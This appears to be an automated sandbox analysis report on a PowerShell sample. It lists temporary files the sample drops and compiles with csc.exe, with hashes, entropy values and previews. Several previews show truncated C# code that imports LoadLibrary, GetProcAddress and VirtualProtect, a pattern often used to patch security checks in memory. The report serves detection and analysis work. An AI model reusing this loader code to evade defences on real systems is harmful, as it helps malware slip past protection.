SHA1:	BEC7999F74E98D960A4F4B2CCD1041E074935D8A
SHA-256:	330871B9F184510E107D081A179DBEF9F960DDC151509C8FECF65A263DCD555A
SHA-512:	48DA00424F9FCA93BFD142EC06E012520D343BA1C5982F7EA5B55561C376A44F35E40D08E95D0B536C2297BCE3A363AF269144FAE123587FEE0546B9ECE380F3
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...e.j.4.0.y.3.s.l...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...e.j.4.0.y.3.s.l...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.20865526563981
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23f+97ctUzxs7+AEszIwkn23f+97cX:p37Lvkmb6KRfu7cSWZEifu7cX
MD5:	A1163B0A97E1555D7CAF0B1353B9B1E0
SHA1:	F4C94D16EA4C3B4CA076684CF226919CFB9613C5
SHA-256:	A393BAA920526FF04A6841C3A3432BB0D596B5068C2C37C21CDEB2B726AF8C18
SHA-512:	E3502CF2EC7FB43C9F2D57E3B6F9FD75095B79CE6563EF25EFB1FDDA53DC125A3852134559E94807E2AC55A9509A2A1B640334460ADAF7BC4BF919A49DED8167
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.0.cs"

C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.9824143636864062
Encrypted:	false
SSDEEP:	48:6vpLNvhfeRPBFLkKhSJSCXumwqvV1ulWA0a3JAbq:gJhfeR5db+GILKJ
MD5:	F56A5E0CC525067119852B60C2FC59FE
SHA1:	F9669528E5D630F76F94FB8B8B2D4A4FBFD77E2B
SHA-256:	430D27B5E84AED9FF9FFDFEF327445CA6574826B1FCB7988AC7D0B466862F46E
SHA-512:	7AC101FE21B8D17A61CF9552EBD819F5271FF1961D3DC9516F885221B93B864E4A7C304538A0F5C93DD80A14CB29AC1AC57C2582A813BDF3889B451E3B68D68B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (448), with CRLF, CR line terminators
Category:	modified
Size (bytes):	869
Entropy (8bit):	5.312227075698584
Encrypted:	false
SSDEEP:	24:KJBId3ka6KRfucEifuTKax5DqBVKVrdFAMBJTH:Ckka6CucEuuTK2DcVKdBJj
MD5:	248DE4A90455180281164E66A3D1C1FC
SHA1:	28601D089CDC1EBEF18F9A14AE07C57DEDC99D46
SHA-256:	B542E20356721E929D3FB62349C4206B4E7A374283191FC6C85F1A2DE8A448C4
SHA-512:	3A47A78CF91DE765C213E59FFDE35BDB10791840AC4590920AE7827F42EA6CFA2311A91A1889084FD9FDEABC6074F62770CEA4EB71E51B7A550FA5DE9E4656E4
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\oc0yukq2\CSC4B0ED8321FD4439294DC7A78D177B3A7.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1084730397234805
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grybSak7YnqqQzPN5Dlq5J:+RI+ycuZhNhSakSQzPNnqX
MD5:	D9C6C3D85F6F9A859751C06393BEBA49
SHA1:	058B5F8F61ACB6239B0E2154B3758164422D953A
SHA-256:	C2FF9B5FC98DDD9A732A608072A9F83EB00FBD037206B2A0297C8F18659B8D1A
SHA-512:	F77C37B568BC3EF09E872E3CE507B25330A3DCEC8711B78556D9135A525DD15EC165F3DC076DDBDD98F38977F0B3D1B1457DF09DD37547F2BFA1AB6BC1C0F4A5
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...o.c.0.y.u.k.q.2...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...o.c.0.y.u.k.q.2...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.290791099163479
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23f3Uzxs7+AEszIwkn23fXx:p37Lvkmb6KRf/UWZEiffx
MD5:	38FEE92EAE6411A567C290F3C201339B
SHA1:	A39350527C3244E01D0F309F46C743D4CE32C32F
SHA-256:	087F82477CD70E454CBE70435725ED1D9593838F23606671E64568CF6AA7ECAD
SHA-512:	D95BF5672E614B1A2C73A6567E466F1C353CD14C780BD279023E54E22FA6B7E3BB5ABDE405AEC158D04D7234E5A76D857D5D2CA42C87A26E8B29994145B4E59F
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.0.cs"

C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.988268152067947
Encrypted:	false
SSDEEP:	48:6vpLNvhfeRPBFLOBKhSJ4CXumw8pvV1ulhSa3Q5q:gJhfeR5dfopGLSKQ
MD5:	13C8BF689DE06F526E2A678D875D67B5
SHA1:	86860F976C82A6ACEEFE8B2575440B78C2BC950E
SHA-256:	846B4ACE08F34413B5C439C705C1E833426B2165EC4A65CA551ECB6922D0C50C
SHA-512:	1BE30CEF08C192D09311A0EB0257F389F04B10F71E3C53829468A010B1C592664AB9DDE67F46DFCA596A433F869F64BFAC9803FDFE3D69E6DA21889427B92E7C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (448), with CRLF, CR line terminators
Category:	modified
Size (bytes):	869
Entropy (8bit):	5.341176339981777
Encrypted:	false
SSDEEP:	24:KJBId3ka6KRf/1Eif8Kax5DqBVKVrdFAMBJTH:Ckka6C/1Eu8K2DcVKdBJj
MD5:	9233DF5C30033268C5034B87794E3FCB
SHA1:	05789D0A98FE12628AAA6788F1F350DFCB655109
SHA-256:	AF526E87B98613434BCC7A32A6FF841CA0EF43538DE0EC4142DFFD0F799C2B11
SHA-512:	6D2B7FE683248729C186C05318A1AD2B02B8C0E80283EEF89B941FB1C88A31EF0E2D60BF254EF835FFCE6F8B8AA2F64A9FCE37923BD01881F80953DFB4E07D75
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\ps21mg5n\CSC5DBDDEA583D47AC992FDED4A9FE5F6F.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.105724930632983
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryxak7Ynqq1PN5Dlq5J:+RI+ycuZhNjakS1PNnqX
MD5:	B165ECC29A2C2787562A25AE1EFDA011
SHA1:	448A4E80E4ABEFEEBBFFBA8E05B2D3FC81B41CE3
SHA-256:	B151051C1A2DB7E4F4F0930A76F83A2951FD2EA9231FFCB04F3AA03C65478234
SHA-512:	A32A11818D551E1678EE803BABC1A15FDD4E51F01ACAFA8EB468FE8F659A6A570F7134DFFC13121E0798C841E6EBCC95EA8F92032DFA548FEC5CEC1A649DE2AF
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...p.s.2.1.m.g.5.n...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...p.s.2.1.m.g.5.n...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.248209651558703
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fCzxs7+AEszIwkn23fH:p37Lvkmb6KRf6WZEiff
MD5:	110C0F5C61587DA0A4DE0A34EF09D807
SHA1:	F2943BD05EC3963276B77C46DDE06EE517952C99
SHA-256:	FF445B12848F84831AB3066D210A5C6A3700C0C7652A187C9DD2E8A58F04FE62
SHA-512:	72664A2E2E0B11FE66C2533A6BC595A96D37A26EB56516FFFC81DFD80C3DD62E3088468265531468C6BBEE313D04E87B4DBC579268D33DC2A35B59D009731CFE
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.0.cs"

C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.9819660859943964
Encrypted:	false
SSDEEP:	48:6vpLNvhfeRPBFLIKKhSJHCXumwHvV1ulja3vq:gJhfeR5dhjGhK
MD5:	D9B7930FDDD2CC207B69D4504138B12E
SHA1:	FE6C8AB5AC49EEDA5F6E9B150CAB245D4872AEF2
SHA-256:	00CEE1C75C88A173A9AB03CC31ABC74281B160B3A6BEE62D23178BBC4C41BA57
SHA-512:	E695208B2C5191137A3435AF1DB45234370A495DBC6F68CAD2B6A9E6EEF310802D8F8A68DA27758A9A7C60608D16CE5F71F0B7CD072E0498EA92398A5E519719
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (448), with CRLF, CR line terminators
Category:	modified
Size (bytes):	869
Entropy (8bit):	5.322304628995108
Encrypted:	false
SSDEEP:	24:KJBId3ka6KRfbEifGKax5DqBVKVrdFAMBJTH:Ckka6CbEuGK2DcVKdBJj
MD5:	7444E2E24B8ED3CD0CB87D5ABBF5C1B3
SHA1:	24D3D0B36783788AA8E372758960F5F274AB873B
SHA-256:	EAF81803A967F07400986CF2DCC4543EDFC56C0921228A72DDB482099E03B5D2
SHA-512:	CC4A82E3800947F96F7B6BA0734F572F866A7D6C536BC9E99A605BEA7F2AF250F1B40A7E4C7656495B22417870EA3E3492814A04DCDCF8CBB93A0567AA086BEF
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\vprxgw2h\CSCDBD4A03E654548E897E49139DD675E5.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1201779675902785
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryM1ak7Ynqq/6PN5Dlq5J:+RI+ycuZhNm1akS/6PNnqX
MD5:	7972BAF9D033EDCFD0776FBEB1DFCCDC
SHA1:	6F9489DCB348C644CB64742CCC0D299DFFA91E5B
SHA-256:	62D6C2D4C10F004F95E401A6496F62BC3C964DA5FCD30CD194CD13892B1B709F
SHA-512:	C52A355CA75EF9AFA50F56A8AE52C49AE560759C1CFBF36E996F480EA14666B6C6A89580D3023A17E1955EC617E85C3C4F4325E610D245109F07220E735BB205
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...v.p.r.x.g.w.2.h...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...v.p.r.x.g.w.2.h...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	4.751587839856729
Encrypted:	false
SSDEEP:	24:JjajwGHNw7+qFhL/+PS+oXG4mnF1D7ZTHtws4bx:JjaEGHNw7+Ib+6+oXZIF17Zrtws4bx
MD5:	FE35992F552A2057291C867108A5C2EB
SHA1:	3359CC35D11E68B353BBF06D03F1A9937E2689EE
SHA-256:	C6CD29B3B2981C29538DEB9B4445A10EC4993E93F058621F49E6AE294B4B6D1F
SHA-512:	8E639DB3A4696FFD380C495CF816B2571656D51AEA0B3DA75FBFC7151F1DE704FE1508FF61C95FC2AC2EF230FD6FEE48536C074D71F025675103B737128E9DFF
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..public class MyUtilityClass {. // Renamed class for clarity.. // Additional variables. private const string Kernel32Library = "kernel32";. . // Function declarations. [DllImport(Kernel32Library)]. public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);.. [DllImport(Kernel32Library)]. public static extern IntPtr LoadLibrary(string name);.. [DllImport(Kernel32Library)]. public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);.. // Additional method for clarity. public static IntPtr LoadLibraryAndGetProcAddress(string libraryName, string procName) {. IntPtr hModule = LoadLibrary(libraryName);. if (hModule == IntPtr.Zero) {. throw new Exception("Failed to load library: " + libraryName);. }.. IntPtr procAddress = GetProcAddress(hModule, procName);. if (procAddress == In

C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.323601830049677
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23f1N5nLGzxs7+AEszIwkn23f1N5nLhx:p37Lvkmb6KRfdrqWZEifdrP
MD5:	7387182B1B8E02A612C476FC385563B8
SHA1:	BD929313F5B4E9AFDACB8F902BDAE8D40B30B4D4
SHA-256:	FDED716DB96AC1BAE0E8F4C098320BF36F6F56B8619082C1B3BDC156840B42DC
SHA-512:	CAE0C528E52E5AD0ACC27A02D05A9C59A2236F70BF5F9CC659EF34FDB4759864CC3974EF2A7A124F73D790FBF3127A25A8EB87840319170DB8E919CE6BA3F6D0
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.0.cs"

C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.9893726497089985
Encrypted:	false
SSDEEP:	48:6GrpLNvhfeRPBFLEKhSJojCXumw2BvV1ulKa3eq:ZJhfeR5d77iG8K
MD5:	C86623A5BDA2EF2E6D477145F7A8A155
SHA1:	81070932831C2467DFE3F764CB3643DCAE64F6A2
SHA-256:	0DE5FA4F1D63DD71AB00933D171421A27AA78AF8DB13969012A54E1F9937095C
SHA-512:	9A9AB07626F187A44BAF8D9A033315AA4A6946BA69DAD60F34E60373CBC90D8248210D48FD075AEB3E4F96902CD26E7F18568857293AF4F4D742E52AB9103EFE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...i..f...........!.................%... ...@....... ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................%......H........ ...............................................................0..M........(......~....(....,.r...p.(....s....z..(......~....(....,.r3..p.(....s....z...(.......BSJB............v4.0.30319......l.......#~..$.......#Strings........x...#US.d.......#GUID...t.......#Blob...........W.........%3........................................................................6./.........5.....U.....\|......./...../...../.............................Q.=.......... M............ \.$...

